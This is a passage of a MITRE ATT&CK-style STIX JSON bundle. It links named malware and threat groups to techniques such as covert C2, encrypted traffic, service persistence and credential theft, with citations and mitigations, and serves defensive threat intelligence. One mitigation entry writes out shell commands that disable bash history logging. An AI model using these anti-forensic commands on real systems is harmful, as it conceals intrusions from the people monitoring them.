            "modified": "2020-03-20T19:51:55.369Z",
            "created": "2020-03-20T19:51:55.369Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "attack-pattern--02fefddc-fb1b-423f-a76b-7552dd211d4d",
            "target_ref": "attack-pattern--1b7b1806-7746-41a1-a35d-e48dae25ddba",
            "relationship_type": "revoked-by",
            "id": "relationship--0e4407b6-fa67-48a7-97c5-f0bff5112912",
            "type": "relationship",
            "modified": "2020-03-20T19:53:25.794Z",
            "created": "2020-03-20T19:53:25.794Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63",
            "target_ref": "attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4",
            "external_references": [
                {
                    "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf",
                    "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.",
                    "source_name": "Forcepoint Monsoon"
                },
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2018/03/unit42-patchwork-continues-deliver-badnews-indian-subcontinent/",
                    "description": "Levene, B. et al.. (2018, March 7). Patchwork Continues to Deliver BADNEWS to the Indian Subcontinent. Retrieved March 31, 2018.",
                    "source_name": "PaloAlto Patchwork Mar 2018"
                },
                {
                    "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf",
                    "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.",
                    "source_name": "TrendMicro Patchwork Dec 2017"
                }
            ],
            "description": "[BADNEWS](https://attack.mitre.org/software/S0128) can use multiple C2 channels, including RSS feeds, Github, forums, and blogs.(Citation: Forcepoint Monsoon)(Citation: PaloAlto Patchwork Mar 2018)(Citation: TrendMicro Patchwork Dec 2017)",
            "relationship_type": "uses",
            "id": "relationship--3f37a188-b994-4191-aee1-56d0c60101e1",
            "type": "relationship",
            "modified": "2020-03-20T21:00:35.667Z",
            "created": "2020-03-20T21:00:35.667Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--d69c8146-ab35-4d50-8382-6fc80e641d43",
            "target_ref": "attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4",
            "external_references": [
                {
                    "source_name": "FireEye APT17",
                    "description": "FireEye Labs/FireEye Threat Intelligence. (2015, May 14). Hiding in Plain Sight: FireEye and Microsoft Expose Obfuscation Tactic. Retrieved January 22, 2016.",
                    "url": "https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf"
                },
                {
                    "source_name": "FireEye Periscope March 2018",
                    "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"
                }
            ],
            "description": "[BLACKCOFFEE](https://attack.mitre.org/software/S0069) has also obfuscated its C2 traffic as normal traffic to sites such as Github.(Citation: FireEye APT17)(Citation: FireEye Periscope March 2018)",
            "relationship_type": "uses",
            "id": "relationship--fd6055a0-7db2-4135-a87f-156354c97f0b",
            "type": "relationship",
            "modified": "2020-03-20T21:04:48.879Z",
            "created": "2020-03-20T21:04:48.879Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
            "target_ref": "attack-pattern--f7827069-0bf2-4764-af4f-23fae0d181b7",
            "external_references": [
                {
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf",
                    "description": "Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.",
                    "source_name": "ESET RTM Feb 2017"
                },
                {
                    "source_name": "CheckPoint Redaman October 2019",
                    "url": "https://research.checkpoint.com/2019/ponys-cc-servers-hidden-inside-the-bitcoin-blockchain/",
                    "description": "Eisenkraft, K., Olshtein, A. (2019, October 17). Pony\u2019s C&C servers hidden inside the Bitcoin blockchain. Retrieved June 15, 2020."
                },
                {
                    "source_name": "Unit42 Redaman January 2019",
                    "url": "https://unit42.paloaltonetworks.com/russian-language-malspam-pushing-redaman-banking-malware/",
                    "description": "Duncan, B., Harbison, M. (2019, January 23). Russian Language Malspam Pushing Redaman Banking Malware. Retrieved June 16, 2020."
                }
            ],
            "description": "[RTM](https://attack.mitre.org/software/S0148) has used an RSS feed on Livejournal to update a list of encrypted C2 server names. [RTM](https://attack.mitre.org/software/S0148) has also hidden [Pony](https://attack.mitre.org/software/S0453) C2 server IP addresses within transactions on the Bitcoin and Namecoin blockchain.(Citation: ESET RTM Feb 2017)(Citation: CheckPoint Redaman October 2019)(Citation: Unit42 Redaman January 2019)",
            "relationship_type": "uses",
            "id": "relationship--954c6284-d1eb-48f1-96a4-1ed81b063d82",
            "type": "relationship",
            "modified": "2020-06-16T20:51:14.301Z",
            "created": "2020-03-20T21:28:53.091Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73",
            "target_ref": "attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada",
            "external_references": [
                {
                    "url": "https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf",
                    "description": "Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.",
                    "source_name": "Bitdefender APT28 Dec 2015"
                }
            ],
            "description": "A variant of [ADVSTORESHELL](https://attack.mitre.org/software/S0045) encrypts some C2 with RSA.(Citation: Bitdefender APT28 Dec 2015)",
            "relationship_type": "uses",
            "id": "relationship--d5bc22fc-16dd-4ab6-9599-828f4b33ec2b",
            "type": "relationship",
            "modified": "2020-03-20T22:59:10.037Z",
            "created": "2020-03-20T22:59:10.037Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472",
            "target_ref": "attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada",
            "external_references": [
                {
                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf",
                    "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.",
                    "source_name": "ESET Sednit Part 2"
                }
            ],
            "description": "[CHOPSTICK](https://attack.mitre.org/software/S0023) encrypts C2 communications with TLS.(Citation: ESET Sednit Part 2)",
            "relationship_type": "uses",
            "id": "relationship--f3b8a97f-4e9c-4190-be08-467d136fc943",
            "type": "relationship",
            "modified": "2020-03-20T23:11:09.649Z",
            "created": "2020-03-20T23:11:09.649Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--f01e2711-4b48-4192-a2e8-5f56c945ca19",
            "target_ref": "attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada",
            "external_references": [
                {
                    "description": "Slepogin, N. (2017, May 25). Dridex: A History of Evolution. Retrieved May 31, 2019.",
                    "url": "https://securelist.com/dridex-a-history-of-evolution/78531/",
                    "source_name": "Kaspersky Dridex May 2017"
                }
            ],
            "description": "[Dridex](https://attack.mitre.org/software/S0384) has encrypted traffic with RSA.(Citation: Kaspersky Dridex May 2017)",
            "relationship_type": "uses",
            "id": "relationship--68c412d7-9b6e-4a0e-a29f-69c1d8065156",
            "type": "relationship",
            "modified": "2020-03-20T23:18:04.721Z",
            "created": "2020-03-20T23:18:04.721Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--308b3d68-a084-4dfb-885a-3125e1a9c1e8",
            "target_ref": "attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada",
            "external_references": [
                {
                    "source_name": "ESET GreyEnergy Oct 2018",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf",
                    "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018."
                }
            ],
            "description": "[GreyEnergy](https://attack.mitre.org/software/S0342) encrypts communications using RSA-2048.(Citation: ESET GreyEnergy Oct 2018)",
            "relationship_type": "uses",
            "id": "relationship--8f56f7af-962a-4d2f-89db-7c1d89b79a32",
            "type": "relationship",
            "modified": "2020-03-20T23:57:45.660Z",
            "created": "2020-03-20T23:57:45.660Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--b143dfa4-e944-43ff-8429-bfffc308c517",
            "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41",
            "external_references": [
                {
                    "url": "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the_taidoor_campaign.pdf",
                    "description": "Trend Micro. (2012). The Taidoor Campaign. Retrieved November 12, 2014.",
                    "source_name": "TrendMicro Taidoor"
                }
            ],
            "description": "[Taidoor](https://attack.mitre.org/software/S0011) uses RC4 to encrypt the message body of HTTP content.(Citation: TrendMicro Taidoor)",
            "relationship_type": "uses",
            "id": "relationship--34e75ef5-b2de-41dc-96d3-2c5388c570be",
            "type": "relationship",
            "modified": "2020-03-21T00:27:23.580Z",
            "created": "2020-03-21T00:27:23.580Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5",
            "target_ref": "attack-pattern--b8902400-e6c5-4ba2-95aa-2d35b442b118",
            "relationship_type": "revoked-by",
            "id": "relationship--76fd5c9b-2158-4372-85b6-a6961b68aaed",
            "type": "relationship",
            "modified": "2020-03-21T00:43:01.580Z",
            "created": "2020-03-21T00:43:01.580Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "attack-pattern--327f3cc5-eea1-42d4-a6cd-ed34b7ce8f61",
            "target_ref": "attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414",
            "relationship_type": "revoked-by",
            "id": "relationship--b8d85cbc-a92e-4921-94bc-defa75becbf3",
            "type": "relationship",
            "modified": "2020-03-23T15:40:51.089Z",
            "created": "2020-03-23T15:40:51.089Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "attack-pattern--428ca9f8-0e33-442a-be87-f869cb4cf73e",
            "target_ref": "attack-pattern--b8902400-e6c5-4ba2-95aa-2d35b442b118",
            "relationship_type": "revoked-by",
            "id": "relationship--de56c26f-ea38-4e6e-a933-fdf4cd1932dd",
            "type": "relationship",
            "modified": "2020-03-24T14:09:11.791Z",
            "created": "2020-03-24T14:09:11.791Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a",
            "target_ref": "attack-pattern--7ad38ef1-381a-406d-872a-38b136eb5ecc",
            "relationship_type": "mitigates",
            "description": "Develop and publish policies that define acceptable information to be stored in Confluence repositories.",
            "id": "relationship--4afd3659-dcb7-4f0a-938f-91599a4c4861",
            "type": "relationship",
            "modified": "2020-03-24T16:42:09.351Z",
            "created": "2020-03-24T15:00:13.243Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8",
            "target_ref": "attack-pattern--0c4b4fda-9062-47da-98b9-ceae2dcf052a",
            "relationship_type": "mitigates",
            "description": "Consider periodic review of accounts and privileges for critical and sensitive SharePoint repositories.",
            "id": "relationship--69e06021-a60c-49ac-840a-47ae154dbba8",
            "type": "relationship",
            "modified": "2020-03-24T16:41:00.932Z",
            "created": "2020-03-24T15:04:44.189Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317",
            "target_ref": "attack-pattern--0c4b4fda-9062-47da-98b9-ceae2dcf052a",
            "relationship_type": "mitigates",
            "description": "Enforce the principle of least-privilege. Consider implementing access control mechanisms that include both authentication and authorization.",
            "id": "relationship--714ba6ae-8c53-4ce1-81f4-4ca81bbdb9b7",
            "type": "relationship",
            "modified": "2020-03-24T16:41:00.944Z",
            "created": "2020-03-24T15:04:44.199Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a",
            "target_ref": "attack-pattern--0c4b4fda-9062-47da-98b9-ceae2dcf052a",
            "relationship_type": "mitigates",
            "description": "Develop and publish policies that define acceptable information to be stored in SharePoint repositories.",
            "id": "relationship--c8e05047-85f2-4c28-8918-12d6874a45c2",
            "type": "relationship",
            "modified": "2020-03-24T16:41:00.945Z",
            "created": "2020-03-24T15:04:44.209Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f",
            "target_ref": "attack-pattern--69e5226d-05dc-4f15-95d7-44f5ed78d06e",
            "relationship_type": "mitigates",
            "description": "Do not allow administrator accounts that have permissions to modify the Web content of organization login portals to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems.",
            "id": "relationship--adffe817-2460-49c7-be30-44afea58d7f8",
            "type": "relationship",
            "modified": "2020-03-31T13:08:37.145Z",
            "created": "2020-03-24T21:16:16.730Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--a2c36a5d-4058-475e-8e77-fff75e50d3b9",
            "target_ref": "attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334",
            "relationship_type": "mitigates",
            "description": "Ensure proper permissions are set for Registry hives to prevent users from modifying keys for logon scripts that may lead to persistence.",
            "id": "relationship--9e755287-a238-485c-83c3-7afeac5a9243",
            "type": "relationship",
            "modified": "2020-08-03T16:47:37.428Z",
            "created": "2020-03-24T23:04:42.404Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--a2c36a5d-4058-475e-8e77-fff75e50d3b9",
            "target_ref": "attack-pattern--eb125d40-0b2d-41ac-a71a-3229241c2cd3",
            "relationship_type": "mitigates",
            "description": "Ensure proper permissions are set for Registry hives to prevent users from modifying keys for logon scripts that may lead to persistence.",
            "id": "relationship--0f7dd352-4e6b-4852-a995-7b22c98b4fd2",
            "type": "relationship",
            "modified": "2020-03-24T23:45:03.290Z",
            "created": "2020-03-24T23:07:31.283Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448",
            "target_ref": "attack-pattern--dca670cf-eeec-438f-8185-fd959d9ef211",
            "relationship_type": "mitigates",
            "description": "Limit privileges of user accounts so only authorized users can edit the rc.common file.",
            "id": "relationship--116ba54b-b2b3-4e63-9f5b-c5171dde0863",
            "type": "relationship",
            "modified": "2021-04-27T19:58:02.104Z",
            "created": "2020-03-24T23:35:28.074Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
            "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32",
            "external_references": [
                {
                    "url": "https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/",
                    "description": "Folt\u00fdn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.",
                    "source_name": "ESET OceanLotus"
                },
                {
                    "source_name": "Cybereason Cobalt Kitty 2017",
                    "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.",
                    "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf"
                },
                {
                    "source_name": "ESET OceanLotus Mar 2019",
                    "url": "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/",
                    "description": "Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019."
                }
            ],
            "description": "[APT32](https://attack.mitre.org/groups/G0050) modified Windows Services to ensure PowerShell scripts were loaded on the system. [APT32](https://attack.mitre.org/groups/G0050) also creates a Windows service to establish persistence.(Citation: ESET OceanLotus)(Citation: Cybereason Cobalt Kitty 2017)(Citation: ESET OceanLotus Mar 2019)",
            "relationship_type": "uses",
            "id": "relationship--9cacb002-a04a-4779-997e-0cc9efaabda2",
            "type": "relationship",
            "modified": "2020-03-25T13:55:54.240Z",
            "created": "2020-03-25T13:55:54.240Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--b42378e0-f147-496f-992a-26a49705395b",
            "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32",
            "external_references": [
                {
                    "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2005-081910-3934-99",
                    "description": "Hayashi, K. (2005, August 18). Backdoor.Darkmoon. Retrieved February 23, 2018.",
                    "source_name": "Symantec Darkmoon Aug 2005"
                }
            ],
            "description": "[PoisonIvy](https://attack.mitre.org/software/S0012) creates a Registry subkey that registers a new service. [PoisonIvy](https://attack.mitre.org/software/S0012) also creates a Registry entry modifying the Logical Disk Manager service to point to a malicious DLL dropped to disk.(Citation: Symantec Darkmoon Aug 2005)",
            "relationship_type": "uses",
            "id": "relationship--1888d04c-e3ba-47bc-adb3-ab8066678772",
            "type": "relationship",
            "modified": "2020-03-25T13:56:40.804Z",
            "created": "2020-03-25T13:56:40.804Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08",
            "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32",
            "external_references": [
                {
                    "source_name": "US-CERT Volgmer Nov 2017",
                    "description": "US-CERT. (2017, November 22). Alert (TA17-318B): HIDDEN COBRA \u2013 North Korean Trojan: Volgmer. Retrieved December 7, 2017.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-318B"
                },
                {
                    "source_name": "US-CERT Volgmer 2 Nov 2017",
                    "description": "US-CERT. (2017, November 01). Malware Analysis Report (MAR) - 10135536-D. Retrieved July 16, 2018.",
                    "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-D_WHITE_S508C.PDF"
                },
                {
                    "source_name": "Symantec Volgmer Aug 2014",
                    "description": "Yagi, J. (2014, August 24). Trojan.Volgmer. Retrieved July 16, 2018.",
                    "url": "https://www.symantec.com/security-center/writeup/2014-081811-3237-99?tabid=2"
                }
            ],
            "description": "[Volgmer](https://attack.mitre.org/software/S0180) installs a copy of itself in a randomly selected service, then overwrites the ServiceDLL entry in the service's Registry entry. Some [Volgmer](https://attack.mitre.org/software/S0180) variants also install .dll files as services with names generated by a list of hard-coded strings.(Citation: US-CERT Volgmer Nov 2017)(Citation: US-CERT Volgmer 2 Nov 2017)(Citation: Symantec Volgmer Aug 2014)",
            "relationship_type": "uses",
            "id": "relationship--1436e328-e692-4dbc-adfd-cf1024a98b2e",
            "type": "relationship",
            "modified": "2020-03-25T13:57:35.899Z",
            "created": "2020-03-25T13:57:35.899Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--7ba0fc46-197d-466d-8b9f-f1c64d5d81e5",
            "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32",
            "external_references": [
                {
                    "source_name": "US-CERT TYPEFRAME June 2018",
                    "description": "US-CERT. (2018, June 14). MAR-10135536-12 \u2013 North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018.",
                    "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-165A"
                }
            ],
            "description": "[TYPEFRAME](https://attack.mitre.org/software/S0263) variants can add malicious DLL modules as new services.[TYPEFRAME](https://attack.mitre.org/software/S0263) can also delete services from the victim\u2019s machine.(Citation: US-CERT TYPEFRAME June 2018)",
            "relationship_type": "uses",
            "id": "relationship--cd63c221-6dc1-4b88-ab82-8f64493cbacd",
            "type": "relationship",
            "modified": "2020-03-25T13:58:19.146Z",
            "created": "2020-03-25T13:58:19.146Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd",
            "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32",
            "external_references": [
                {
                    "description": "Computer Incident Response Center Luxembourg. (2013, March 29). Analysis of a PlugX variant. Retrieved November 5, 2018.",
                    "url": "http://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf",
                    "source_name": "CIRCL PlugX March 2013"
                },
                {
                    "source_name": "Lastline PlugX Analysis",
                    "description": "Vasilenko, R. (2013, December 17). An Analysis of PlugX Malware. Retrieved November 24, 2015.",
                    "url": "http://labs.lastline.com/an-analysis-of-plugx"
                },
                {
                    "source_name": "PWC Cloud Hopper Technical Annex April 2017",
                    "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.",
                    "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf"
                },
                {
                    "source_name": "FireEye APT10 April 2017",
                    "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html"
                },
                {
                    "source_name": "Proofpoint ZeroT Feb 2017",
                    "description": "Huss, D., et al. (2017, February 2). Oops, they did it again: APT Targets Russia and Belarus with ZeroT and PlugX. Retrieved April 5, 2018.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"
                }
            ],
            "description": "[PlugX](https://attack.mitre.org/software/S0013) can be added as a service to establish persistence. [PlugX](https://attack.mitre.org/software/S0013) also has a module to change service configurations as well as start, control, and delete services.(Citation: CIRCL PlugX March 2013)(Citation: Lastline PlugX Analysis)(Citation: PWC Cloud Hopper Technical Annex April 2017)(Citation: FireEye APT10 April 2017)(Citation: Proofpoint ZeroT Feb 2017)",
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                {
                    "source_name": "GitHub LaZagne Dec 2018",
                    "url": "https://github.com/AlessandroZ/LaZagne",
                    "description": "Zanni, A. (n.d.). The LaZagne Project !!!. Retrieved December 14, 2018."
                }
            ],
            "description": "[LaZagne](https://attack.mitre.org/software/S0349) can obtain credential information running Linux processes.(Citation: GitHub LaZagne Dec 2018)",
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            "id": "relationship--bb9706eb-de51-4200-ac38-d7d658f90ea9",
            "type": "relationship",
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                    "source_name": "GitHub LaZagne Dec 2018",
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                    "description": "Zanni, A. (n.d.). The LaZagne Project !!!. Retrieved December 14, 2018."
                }
            ],
            "description": "[LaZagne](https://attack.mitre.org/software/S0349) can obtain credential information from /etc/shadow using the shadow.py module.(Citation: GitHub LaZagne Dec 2018)",
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            "type": "relationship",
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            "description": "Ensure Domain Controller backups are properly secured.",
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        },
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            "target_ref": "attack-pattern--1eaebf46-e361-4437-bc23-d5d65a3b92e3",
            "external_references": [
                {
                    "url": "https://objective-see.com/blog/blog_0x25.html",
                    "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.",
                    "source_name": "objsee mac malware 2017"
                }
            ],
            "description": "[Proton](https://attack.mitre.org/software/S0279) gathers credentials in files for keychains.(Citation: objsee mac malware 2017)",
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            "id": "relationship--6209bf2d-6ffd-4740-96cb-ef04379ae126",
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        },
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            "relationship_type": "mitigates",
            "description": "Limit access to the Instance Metadata API using a host-based firewall such as iptables. A properly configured Web Application Firewall (WAF) may help prevent external adversaries from exploiting Server-side Request Forgery (SSRF) attacks that allow access to the Cloud Instance Metadata API.(Citation: RedLock Instance Metadata API 2018)",
            "id": "relationship--6607178e-a8b4-4da9-b985-3712eb71a303",
            "external_references": [
                {
                    "description": "Higashi, Michael. (2018, May 15). Instance Metadata API: A Modern Day Trojan Horse. Retrieved July 16, 2019.",
                    "url": "https://redlock.io/blog/instance-metadata-api-a-modern-day-trojan-horse",
                    "source_name": "RedLock Instance Metadata API 2018"
                }
            ],
            "type": "relationship",
            "modified": "2021-03-16T12:53:42.570Z",
            "created": "2020-03-25T18:30:50.106Z"
        },
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            "description": "If it is necessary that software must store credentials in the Registry, then ensure the associated accounts have limited permissions so they cannot be abused if obtained by an adversary.",
            "id": "relationship--e30864c0-df50-403b-9ad0-ef744a5d7449",
            "type": "relationship",
            "modified": "2021-03-16T12:53:42.567Z",
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        },
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            "target_ref": "attack-pattern--435dfb86-2697-4867-85b5-2fef496c0517",
            "relationship_type": "mitigates",
            "description": "Use strong passphrases for private keys to make cracking difficult. Do not store credentials within the Registry. Establish an organizational policy that prohibits password storage in files.",
            "id": "relationship--529b0951-548c-4316-93d1-baf97d89f10a",
            "type": "relationship",
            "modified": "2021-03-16T12:53:42.557Z",
            "created": "2020-03-25T18:30:50.113Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3",
            "target_ref": "attack-pattern--435dfb86-2697-4867-85b5-2fef496c0517",
            "relationship_type": "mitigates",
            "description": "There are multiple methods of preventing a user's command history from being flushed to their .bash_history file, including use of the following commands:\n<code>set +o history</code> and <code>set -o history</code> to start logging again;\n<code>unset HISTFILE</code> being added to a user's .bash_rc file; and\n<code>ln -s /dev/null ~/.bash_history</code> to write commands to <code>/dev/null</code>instead.",
            "id": "relationship--5401a61d-a795-4619-aa7e-fdf54cd4358e",
            "type": "relationship",
            "modified": "2021-03-16T12:53:42.562Z",
            "created": "2020-03-25T18:30:50.111Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
